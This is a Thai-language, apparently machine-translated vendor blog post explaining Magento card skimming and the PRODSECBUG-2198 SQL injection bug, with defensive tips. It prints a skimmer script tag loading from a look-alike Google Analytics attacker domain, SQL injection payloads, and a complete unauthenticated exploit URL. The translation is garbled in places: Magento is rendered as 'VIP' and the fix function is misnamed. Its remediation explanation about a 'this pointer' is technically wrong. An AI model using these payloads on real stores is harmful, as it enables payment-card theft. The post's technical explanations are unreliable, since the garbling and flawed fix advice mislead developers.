Magento Card Skimming เป็นการขโมยข้อมูลเครดิต/เดบิตอย่างผิดกฎหมายโดยการฉีดสคริปต์ที่เป็นอันตรายที่เรียกว่า "skimmers" ลงในเว็บไซต์ Magento หากคุณเป็นเจ้าของเว็บไซต์ที่ขับเคลื่อนด้วยวีโอไอพี บทความนี้เหมาะสำหรับคุณ เราขอนำเสนอ แหล่งข้อมูลที่ดีพร้อมรายละเอียดที่จำเป็นทั้งหมดเกี่ยวกับปัญหาด้านความปลอดภัยในการอ่านการ์ด Magento
ในบทความนี้ เราจะมาพูดคุยกันว่าการ skimming การ์ด Magento คืออะไร และส่งผลต่อเว็บไซต์ Magento อย่างไร (พร้อมการพิสูจน์แนวคิด) นอกจากนี้ เราจะเรียนรู้เคล็ดลับการทำงานบางประการเกี่ยวกับวิธีที่คุณสามารถป้องกันเว็บไซต์ของคุณจากปัญหานี้ งั้นก็โดดเข้าไปเลย
บทความที่เกี่ยวข้อง – การโจมตี Magecart คืออะไรใน Magento Store และวิธีป้องกันพวกเขา
การลากผ่านการ์ด Magento คืออะไร
Magento เป็นแพลตฟอร์มอีคอมเมิร์ซโอเพ่นซอร์สที่ใช้ PHP เป็นระบบจัดการเนื้อหาที่โฮสต์ด้วยตนเองซึ่งปัจจุบันเป็นของ Adobe เว็บไซต์ประมาณ 250,000+ แห่งใช้ Magento เพื่อขับเคลื่อนเว็บไซต์อีคอมเมิร์ซของตน เว็บไซต์เหล่านี้ส่วนใหญ่เป็นของยักษ์ใหญ่ด้านอีคอมเมิร์ซในสหรัฐฯ ดังนั้น Magento จึงมีความรับผิดชอบอย่างมากในการรักษาประสบการณ์ของลูกค้า
ในทางกลับกัน Card skimming เป็นการคัดลอกข้อมูลจากบัตรเครดิตและบัตรเดบิตอย่างผิดกฎหมายโดยใช้อุปกรณ์อ่านบัตรจริง นี่คือความเชื่อมโยงระหว่าง Magento และ Card skimming
Magento card skimming เป็นรูปแบบหนึ่งของ web skimming ซึ่งแฮกเกอร์ขโมยข้อมูลการชำระเงินบน Magento ผ่านสคริปต์ของบุคคลที่สาม สคริปต์นี้ช่วยให้พวกเขาสามารถขโมยข้อมูลธนาคารที่สำคัญ เช่น ชื่อเจ้าของ หมายเลขบัตรเครดิต/บัตรเดบิต หมายเลข CVV และวันหมดอายุ แฮกเกอร์มักจะสร้างรายได้จากข้อมูลนี้โดยการขายในตลาดมืด
เกี่ยวกับ PRODSECBUG-2198 ใช้ประโยชน์
ปัญหา PRODSECBUG-2198 ถูกรายงานครั้งแรกเมื่อวันที่ 9 พฤศจิกายน 2018 บน Bugcrowd โดยพื้นฐานแล้ว PRODSECBUG-2198 เป็นโค้ดที่มีช่องโหว่ซึ่งอนุญาตให้มีการฉีด SQL ใน Magento ช่องโหว่นี้ทำให้ผู้ใช้ที่ไม่ผ่านการตรวจสอบสิทธิ์สามารถเรียกใช้โค้ดโดยอำเภอใจซึ่งอาจทำให้เกิดการรั่วไหลของข้อมูลที่สำคัญได้
ในไม่ช้า บั๊กก็ถูกทำเครื่องหมายเป็น P1 ช่องโหว่ P1 อ้างอิงจาก Bugcrowd เป็นช่องโหว่เหล่านั้นซึ่งอาจทำให้เกิดการเพิ่มสิทธิพิเศษได้ ด้วยเหตุนี้ ผู้ใช้ทุกคนจึงสามารถยกระดับสิทธิ์ผู้ดูแลระบบจากระดับการอนุญาตที่ต่ำกว่าได้ นอกจากนี้ ยังอนุญาตให้มีการเรียกใช้โค้ดจากระยะไกล การโจรกรรมทางการเงิน เป็นต้น การใช้ประโยชน์จากช่องโหว่นี้มุ่งเป้าไปที่ Magento เวอร์ชันต่อไปนี้:
- Magento Commerce <1.14.4.1
- โอเพ่นซอร์ส Magento <1.9.4.1
- วีโอไอพี <2.1.17
- วีโอไอพี <2.2.8
- วีโอไอพี <2.3.1
Skimmer ตามชื่อ Google
ในกรณีล่าสุดของ Magento skimming เราพบว่าแฮกเกอร์ใช้โดเมน Google ปลอมเพื่อขโมยรายละเอียดการชำระเงิน ในการโจมตีครั้งนี้ มีการโหลดจาวาสคริปต์ที่เป็นอันตรายจากโดเมนที่ชื่อว่า – google-analytîcs.com หรือ xn--google-analytcs-xpb.com
หากคุณจะสังเกตให้ดี มันคือชื่อเล่นบนโดเมน Google ดั้งเดิม ดังนั้น การโจมตีแบบ skimming นี้จึงใช้ฟิชชิ่งเป็นวิธีการดึงข้อมูลการชำระเงินที่มีความละเอียดอ่อน สคริปต์มีลักษณะดังนี้ –
<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>
นอกจากนี้ Skimmer นี้ยังเก็บข้อมูลโดยใช้ JavaScript ที่โหลดและ document.getElementsByTagName หากไม่มีเครื่องมือสำหรับนักพัฒนาซอฟต์แวร์เปิดอยู่ Skimmer นี้จะส่งข้อมูลที่ถูกขโมยไปยังโดเมน Google ปลอม – google-analytîcs.com หรือ xn--google-analytcs-xpb.com
อย่างไรก็ตาม มันแสดงพฤติกรรมแปลก ๆ เมื่อมีเครื่องมือสำหรับนักพัฒนาเปิดบนเว็บไซต์ของคุณ ตรวจจับและหยุดกลางกระบวนการส่งสัญญาณ นอกจากนี้ ลักษณะการทำงานนี้จะแตกต่างกันไปตามซอฟต์แวร์เบราว์เซอร์ที่คุณใช้
Magento Card Skimming:พิสูจน์แนวคิด
หลักฐานแนวคิดเกี่ยวกับช่องโหว่ด้านความปลอดภัยนี้มีการกล่าวถึงดังนี้ มันเขียนด้วยภาษา Python และสิ่งสำคัญที่ทำให้เกิดปัญหา Magento Card Skimming
- รหัสที่นี่โดยทั่วไปจะสร้างเซสชันของเบราว์เซอร์จำลองที่มี URL สุ่มและข้อมูลเซสชัน ทำได้โดยใช้คลาสเบราว์เซอร์และฟังก์ชันการรับเซสชัน
- อ็อบเจ็กต์ของคลาสเบราว์เซอร์ที่มีรายละเอียดเซสชันถูกส่งไปยังคลาสการฉีด SQL
- ตอนนี้การฉีด SQL เพิ่มข้อมูลเพย์โหลดบางส่วนไปยัง URL ของเซสชัน สร้างผลิตภัณฑ์ จากนั้นดึงรายละเอียดที่สำคัญจากฐานข้อมูลของเว็บไซต์ นอกจากนี้ยังสามารถปรับเปลี่ยนเพย์โหลดการฉีด SQL เพื่อรับสิทธิ์เข้าถึงข้อมูลแบ็กเอนด์ได้
- ผู้โจมตีได้รับข้อมูลเกี่ยวกับธุรกรรมล่าสุดและข้อมูลธนาคารของผู้ใช้
การใช้ประโยชน์ทำให้เว็บไซต์ Magento ของคุณแพร่ระบาดอย่างไร
Magento มี codebase ขนาดใหญ่ประมาณ 2 ล้านบรรทัด PHP ทำให้การตรวจสอบและค้นหาการใช้ประโยชน์เป็นงานที่ยุ่งยาก อย่างไรก็ตาม เมื่อทีมแฮ็กเกอร์ที่มีจริยธรรมของเราตรวจสอบโค้ด พวกเขาจำกัดเป้าหมายให้แคบลงที่โค้ดที่รับผิดชอบการจัดการ ORM และ DB
จุดบกพร่องของ Magento Card Skimming คือ:
1. ในฟังก์ชัน prepareSQLCondition
ฟังก์ชั่นสาธารณะนี้มีอยู่ภายในคลาสหลักที่จัดการฐานข้อมูลและสามารถอยู่ที่
MagentoFrameworkDBAdapterPdoMysql
รหัสฟังก์ชันมีดังนี้:
ทำความเข้าใจกับการใช้ประโยชน์
ให้เราเข้าใจการทำงานของการเอารัดเอาเปรียบโดยมุ่งความสนใจไปที่เส้นที่ทำเครื่องหมายไว้ ในบรรทัดที่ทำเครื่องหมาย [1] ชื่อแทนเงื่อนไขจะเชื่อมโยงกับรูปแบบโดยใช้ $conditionKeyMap ซึ่งจะแทนที่อักขระ '?' ทุกตัวในนามแฝงด้วยเวอร์ชันที่ยกมาของค่าที่กำหนดโดยใช้ฟังก์ชัน _prepareQuotedSqlCondition() ในบรรทัดหมายเลข 33 ตามตรรกะที่เขียนในบรรทัดที่ 30-35 ตอนนี้ให้พิจารณาตัวอย่างโค้ดต่อไปนี้:
<?php
$db->prepareSqlCondition('username', ['regexp' => 'my_value']);
=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
=> $query = "username REGEXP 'my_value'";
ตอนนี้ปัญหาเกิดขึ้นเมื่อใช้เงื่อนไข "จาก" และ "ถึง" ร่วมกันในบรรทัดที่ 30 ตรรกะในรหัสนั้นทำให้แน่ใจว่าฟิลด์นั้นอยู่ภายในช่วง เพื่อความเข้าใจที่ดีขึ้น มาดูข้อมูลโค้ดนี้:
<?php
$db->prepareSqlCondition('price', [
'from' => '100'
'to' => '1000'
]);
$query = "price >= '100' AND price <= '1000'";
ตามตรรกะการดำเนินการ เมื่อใดก็ตามที่มีทั้งสองเงื่อนไข อันดับแรก "จาก" จะได้รับการจัดการ จากนั้นจึงจัดการ "ถึง" แต่มีข้อผิดพลาดสำคัญเกิดขึ้นที่บรรทัดที่ 38 แบบสอบถามที่ "จาก" สร้างขึ้นจะใช้เพิ่มเติมสำหรับการจัดรูปแบบ
ตอนนี้ทุก ๆ “?” จะถูกแทนที่ด้วยค่าที่กำหนด หากเครื่องหมายคำถามเกิดขึ้นในค่า "จาก" จะถูกแทนที่ด้วยค่าที่กำหนดให้กับ "to" ในรูปแบบที่ยกมา ในการดำเนินการโจมตีด้วยการฉีด SQL ที่ถูกต้อง ผู้โจมตีสามารถใช้โค้ดการหาประโยชน์ดังต่อไปนี้:
<?php
$db->prepareSqlCondition(‘price’,[
‘from’ => ‘x?’
‘to’ => ‘ OR 1=1 -- -’
]);
-> $query = “price >= ‘x’ OR 1=1 -- -’’ AND price <= ’ OR 1=1 -- -’”
ความผิดพลาดแม้จะเล็กนิดเดียวก็ส่งผลกระทบได้มาก ข้อเท็จจริงที่น่าประหลาดใจก็คือโค้ดนี้มาจาก Magento เวอร์ชัน 1.x
2. ในฟังก์ชันการดำเนินการของคลาส Synchronize
พบช่องโหว่อื่นในฟังก์ชันดำเนินการที่ตำแหน่งต่อไปนี้:
MagentoCatalogControllerProduct FrontendActionSynchronize
ซอร์สโค้ด PHP ที่มีการเปิดเผยปัญหาด้านความปลอดภัยมีดังนี้:
<?php
public function execute()
{
$resultJson = $this->jsonFactory->create();
try {
$productsData = $this->getRequest()->getParam(‘ids’,[]);
$typeId = $this->getRequest()->getParam(‘type_id’,null);
$this->synchronizer->syncActions($productsData, $typeId);
} catch (Exception $e) {
$resultsJson->setStatusHeader(
ZendHttpResponse::STATUS_CODE_400,
ZendHttpAbstractMessage::VERSION_11,
‘Bad Request’
);
}
return $resultsJson->setData([]);
สแต็กการโทรที่นำไปสู่จุดบกพร่องในที่สุด:
<?php
$productsData = $this->getRequest()->getParam('ids', []);
$this->synchronizer->syncActions($productsData, $typeId);
$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
$this->_translateCondition($field, $condition);
$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
$this->getConnection()->prepareSqlCondition($fieldName, $condition);
โค้ดที่มีช่องโหว่นี้มีตั้งแต่ v2.2.0 ของ Magento ตัวอย่าง URL ที่อาจทำให้เกิดการแทรก SQL ที่ไม่ผ่านการตรวจสอบสิทธิ์ซึ่งเชื่อมโยงกับ Magento Card Skimming มีดังนี้:
https://magento2website.com/catalog/product_frontend_action/synchronize?
type_id=recently_products&
ids[0][added_at]=&
ids[0][product_id][from]=?&
ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
ขณะนี้ข้อมูลสามารถอ่านได้จากฐานข้อมูล ผู้โจมตีสามารถดึงข้อมูลประจำตัวสำหรับบัญชีผู้ดูแลระบบและใช้เพื่อเข้าถึงแบ็กเอนด์ พวกเขายังอาจแอบเอารายละเอียดการธนาคารและการเงินอื่น ๆ จากฐานข้อมูลผู้ใช้และฐานข้อมูลธุรกรรม ผู้โจมตีอาจใช้ข้อมูลนี้และก่ออาชญากรรมทางอินเทอร์เน็ต เช่น การฉ้อโกงทางอีคอมเมิร์ซ ฟิชชิ่ง หรือแม้แต่การมอง ผู้โจมตีอาจโฮสต์มัลแวร์บนเว็บไซต์ของคุณ ซึ่งอาจขัดขวางชื่อเสียงขององค์กรของคุณในแพลตฟอร์มอีคอมเมิร์ซ เว็บไซต์ของคุณอาจถูกขึ้นบัญชีดำโดยเครื่องมือค้นหา ซึ่งอาจทำให้การเข้าชมเว็บไซต์ของคุณลดลง
จะป้องกันเว็บไซต์ของคุณจาก Magento Card Skimming ได้อย่างไร
ตอนนี้เราเข้าใจในรายละเอียดเกี่ยวกับการทำงานของ Magento Card Skimming แล้ว มาทำความเข้าใจว่าเราจะป้องกันจากการโจมตีดังกล่าวได้อย่างไรในอนาคต
-
ฆ่าเชื้อฟังก์ชัน prepareSqlInjection
สำหรับการลบจุดบกพร่องด้านความปลอดภัยในฟังก์ชัน prepareSqlInjection โค้ดจะต้องเขียนเป็น:
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
การอ้างอิงถึงค่าที่ส่งผ่านโดยใช้ตัวชี้ "นี้" จะป้องกันไม่ให้ผู้โจมตีเข้าถึงข้อมูลแบ็กเอนด์ได้โดยตรง การใช้ตัวแปรพอยน์เตอร์ยังช่วยให้สามารถแยกข้อมูลและเข้าถึงได้เฉพาะฟังก์ชันที่ได้รับอนุญาตเท่านั้น
-
การตรวจสอบความถูกต้องของข้อมูลที่ป้อน
ค่าที่ใช้เป็นอินพุตในหน้าใด ๆ ของเว็บไซต์ที่ใช้ Magento ของคุณต้องได้รับการตรวจสอบก่อนที่จะส่งต่อไปยังการประมวลผลแบ็กเอนด์ การตรวจสอบสามารถทำได้โดยใช้ฟังก์ชันที่เหมาะสมหรือตรรกะที่เหมาะสม มันจะต้องไม่สามารถเข้าใจผิดได้ ผู้ดูแลเว็บไซต์ต้องกำหนดให้นักพัฒนาเว็บไซต์ต้องเขียนโค้ดที่ปลอดภัยและมีความเสี่ยงน้อยกว่า
-
อัปเดตเพื่อความปลอดภัย
ปลั๊กอินทั้งหมดที่ใช้โดยเว็บไซต์ที่ใช้ระบบวีโอไอพีของคุณจะต้องเป็นเวอร์ชันล่าสุด ซึ่งจะทำให้มั่นใจได้ถึงประสบการณ์ที่ปลอดภัยสำหรับลูกค้าและผู้ใช้ของคุณ แฮ็กเกอร์มักจะกำหนดเป้าหมายเว็บไซต์ที่ทำงานบนปลั๊กอินเก่า และสามารถโฮสต์มัลแวร์ได้ ซึ่งทำให้เว็บไซต์ของคุณช้าลงและขึ้นบัญชีดำเว็บไซต์ Magento ของคุณ
-
การตรวจสอบความปลอดภัย
ทำการตรวจสอบความปลอดภัยของไซต์อย่างละเอียดเพื่อให้แน่ใจว่าคุณไม่มีช่องโหว่ด้านความปลอดภัยในเว็บไซต์ของคุณ ทำการแก้ไขผู้ใช้ Magento ทั้งหมดและลบใครก็ตามที่คุณไม่รู้จัก หากต้องการเปิดเผยช่องโหว่และช่องโหว่ในการเข้ารหัสทั้งหมด คุณสามารถทำ VAPT (การประเมินช่องโหว่และการทดสอบการเจาะ) แบบมืออาชีพบนเว็บไซต์ของคุณ
-
รายงานความคลาดเคลื่อนด้านความปลอดภัย
หากคุณพบร่องรอยของการละเมิดความปลอดภัยในฐานข้อมูลผู้ใช้หรือฐานข้อมูลที่จัดการธุรกรรม โปรดติดต่อฝ่ายที่เกี่ยวข้อง (ผู้ประมวลผลการชำระเงิน ลูกค้า และผู้มีส่วนได้ส่วนเสียของบริษัท) เพื่อจัดการเหตุฉุกเฉินนี้โดยเร็วที่สุด การละเมิดความปลอดภัยไม่ควรถูกทิ้งไว้โดยไม่มีใครดูแล
-
โปรดใช้ความระมัดระวังเกี่ยวกับความเสี่ยงด้านความปลอดภัยของโฮสติ้งที่ใช้ร่วมกัน
หากเว็บไซต์ของคุณโฮสต์โดยใช้โฮสติ้งที่ใช้ร่วมกัน คุณต้องซื้อแผนสำหรับการสำรองข้อมูลและเพิ่มความปลอดภัย คุณในฐานะผู้ดูแลระบบความปลอดภัยหรือผู้ดูแลเว็บไซต์ต้องติดต่อผู้ให้บริการโฮสต์ของคุณและมีความรู้เกี่ยวกับเว็บไซต์อื่น ๆ ที่โฮสต์บนเซิร์ฟเวอร์โฮสติ้งที่ใช้ร่วมกัน อย่าเสี่ยงต่อชื่อเสียงออนไลน์ของธุรกิจของคุณด้วยการเลือกตัวเลือกที่ประหยัด การอภิปรายโดยละเอียดเกี่ยวกับความเสี่ยงด้านความปลอดภัยที่ใช้ร่วมกันได้ดำเนินการไปแล้วในบทความก่อนหน้าของบล็อก Astra คุณสามารถอ่านได้ที่นี่
-
การเข้ารหัสข้อมูล
เข้ารหัสข้อมูลที่จัดเก็บไว้ในฐานข้อมูลเว็บไซต์ของคุณด้วยกลไกการเข้ารหัสที่รัดกุม ซึ่งจะทำให้ผู้โจมตีเข้าถึงข้อมูลส่วนตัวของผู้ใช้หรือข้อมูลเชิงกลยุทธ์ขององค์กรได้ยาก
-
แก้ไขเส้นทางการโจมตี XSS
แม้ว่าในบทความนี้ เราจะไม่พูดถึง XSS เนื่องจากหน้าเกตเวย์การชำระเงินของ Magento สร้างขึ้นโดยใช้รูปแบบที่ใช้ PHP เป็นสิ่งสำคัญที่พวกเขาต้องใช้ htmlspecialchars() ฟังก์ชันเพื่อป้องกันการโจมตี $_SERVER[“PHP_SELF”]
-
ติดตั้งไฟร์วอลล์
การติดตั้งไฟร์วอลล์เว็บแอปพลิเคชันเป็นอีกวิธีหนึ่งในการเพิ่มความปลอดภัยให้กับเว็บไซต์ของคุณ ไฟร์วอลล์ของ Astra คือระบบตรวจสอบเว็บไซต์ของคุณอย่างต่อเนื่อง ระบุและบล็อกภัยคุกคามที่จะมาถึงเว็บไซต์ของคุณ 24*7 ยิ่งไปกว่านั้น มันยังคงพัฒนาไปพร้อมกับความพยายามในการโจมตีแต่ละครั้ง และได้รับการกำหนดค่าที่ดีขึ้นสำหรับการโจมตีครั้งต่อไป
สำหรับบทความเพิ่มเติมเกี่ยวกับปัญหาด้านความปลอดภัยของ Magento คลิกที่นี่ .
พบบทความที่เป็นประโยชน์? แชร์กับเพื่อนของคุณใน Facebook, Twitter, LinkedIn